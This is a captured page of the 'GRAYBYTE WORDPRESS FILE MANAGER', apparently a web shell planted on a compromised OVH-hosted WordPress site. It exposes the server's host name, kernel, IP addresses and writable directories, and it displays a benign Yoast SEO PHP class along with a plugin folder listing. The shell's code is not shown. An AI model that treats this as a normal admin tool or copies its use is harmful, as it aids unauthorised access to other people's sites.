✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/auth/conditionals//ai-editor-conditional.php
<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;

/**
 * Conditional that is met when the AI editor integration should be active.
 */
class AI_Editor_Conditional implements Conditional {

	/**
	 * Holds the Post_Conditional.
	 *
	 * @var Post_Conditional
	 */
	private $post_conditional;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Constructs Ai_Editor_Conditional.
	 *
	 * @param Post_Conditional    $post_conditional    The Post_Conditional.
	 * @param Current_Page_Helper $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper      $product_helper      The Product_Helper.
	 */
	public function __construct( Post_Conditional $post_conditional, Current_Page_Helper $current_page_helper, Product_Helper $product_helper ) {
		$this->post_conditional    = $post_conditional;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
	}

	/**
	 * Returns `true` when the AI editor integration should be active.
	 *
	 * @return bool `true` when the AI editor integration should be active.
	 */
	public function is_met() {
		if ( $this->is_attachment() ) {
			return false;
		}

		if ( $this->is_ai_generator_premium() ) {
			return false;
		}

		return $this->post_conditional->is_met() || $this->is_term() || $this->is_elementor_editor();
	}

	/**
	 * Returns `true` when the page is a term page.
	 *
	 * @return bool `true` when the page is a term page.
	 */
	private function is_term() {
		return $this->current_page_helper->get_current_admin_page() === 'term.php';
	}

	/**
	 * Returns `true` when the page is the Elementor editor.
	 *
	 * @return bool `true` when the page is the Elementor editor.
	 */
	private function is_elementor_editor() {
		if ( $this->current_page_helper->get_current_admin_page() !== 'post.php' ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['action'] ) && \is_string( $_GET['action'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
			if ( \wp_unslash( $_GET['action'] ) === 'elementor' ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Is an attchment post type.
	 *
	 * @return bool
	 */
	public function is_attachment() {
		return $this->current_page_helper->get_current_post_type() === 'attachment';
	}

	/**
	 * Is premium version containes AI generator. We exclude product post type because it is not supported in premium version before 25.6.
	 *
	 * @return bool
	 */
	public function is_ai_generator_premium() {
		if ( ! $this->product_helper->is_premium() ) {
			return false;
		}
		$premium_version = $this->product_helper->get_premium_version();
		return \version_compare( $premium_version, '25.6-RC0', '<' ) && $this->current_page_helper->get_current_post_type() !== 'product';
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Sep 2026 8.36 AM
docteuh / users
0755
jquery3
--
13 Sep 2026 6.59 AM
docteuh / users
0755
third-party
--
16 Sep 2026 7.59 PM
docteuh / users
0755
traits
--
13 Sep 2026 6.59 AM
docteuh / users
0755
abilities-api-conditional.php
0.596 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
addon-installation-conditional.php
0.428 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
admin-conditional.php
0.323 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ai-conditional.php
0.643 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ai-editor-conditional.php
3.211 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
attachment-redirections-enabled-conditional.php
0.88 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
check-required-version-conditional.php
0.367 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
conditional-interface.php
0.291 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
deactivating-yoast-seo-conditional.php
0.689 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
development-conditional.php
0.376 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
dynamic-product-permalinks-conditional.php
0.458 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-conditional.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
front-end-conditional.php
0.322 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
get-request-conditional.php
0.455 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
headless-rest-endpoints-enabled-conditional.php
0.796 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830003632-20260830003701-20260830003856.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
import-tool-selected-conditional.php
0.539 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
jetpack-conditional.php
0.405 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
migrations-conditional.php
0.796 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
myyoast-connection-conditional.php
0.498 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
new-premium-or-free-ai-conditional.php
1.421 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
new-settings-ui-conditional.php
0.347 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
news-conditional.php
0.352 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
no-conditionals-trait.php
0.372 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
no-tool-selected-conditional.php
0.497 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
non-multisite-conditional.php
0.363 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
not-admin-ajax-conditional.php
0.357 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
old-premium-ai-conditional.php
1.314 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
open-graph-conditional.php
0.711 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
premium-active-conditional.php
0.35 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
premium-inactive-conditional.php
0.384 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
primary-category-conditional.php
1.668 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
robots-txt-conditional.php
1.697 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-disabled-conditional.php
0.702 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
semrush-enabled-conditional.php
0.722 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
settings-conditional.php
0.969 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
should-index-links-conditional.php
1.021 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
task-list-enabled-conditional.php
0.722 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
text-formality-conditional.php
0.423 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
updated-importer-framework-conditional.php
0.405 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
user-can-edit-users-conditional.php
0.465 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
user-can-manage-wpseo-options-conditional.php
0.494 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
user-edit-conditional.php
0.478 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
user-profile-conditional.php
0.532 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
web-stories-conditional.php
0.43 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wincher-automatically-track-conditional.php
0.741 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wincher-conditional.php
0.156 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wincher-enabled-conditional.php
0.722 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wincher-token-conditional.php
0.664 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
woo-seo-inactive-conditional.php
0.412 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
woocommerce-conditional.php
0.402 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
woocommerce-version-conditional.php
0.634 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-cron-enabled-conditional.php
0.343 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-robots-conditional.php
0.333 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-tests-conditional.php
0.374 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
xmlrpc-conditional.php
0.429 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
yoast-admin-and-dashboard-conditional.php
1.617 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
yoast-tools-page-conditional.php
0.623 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF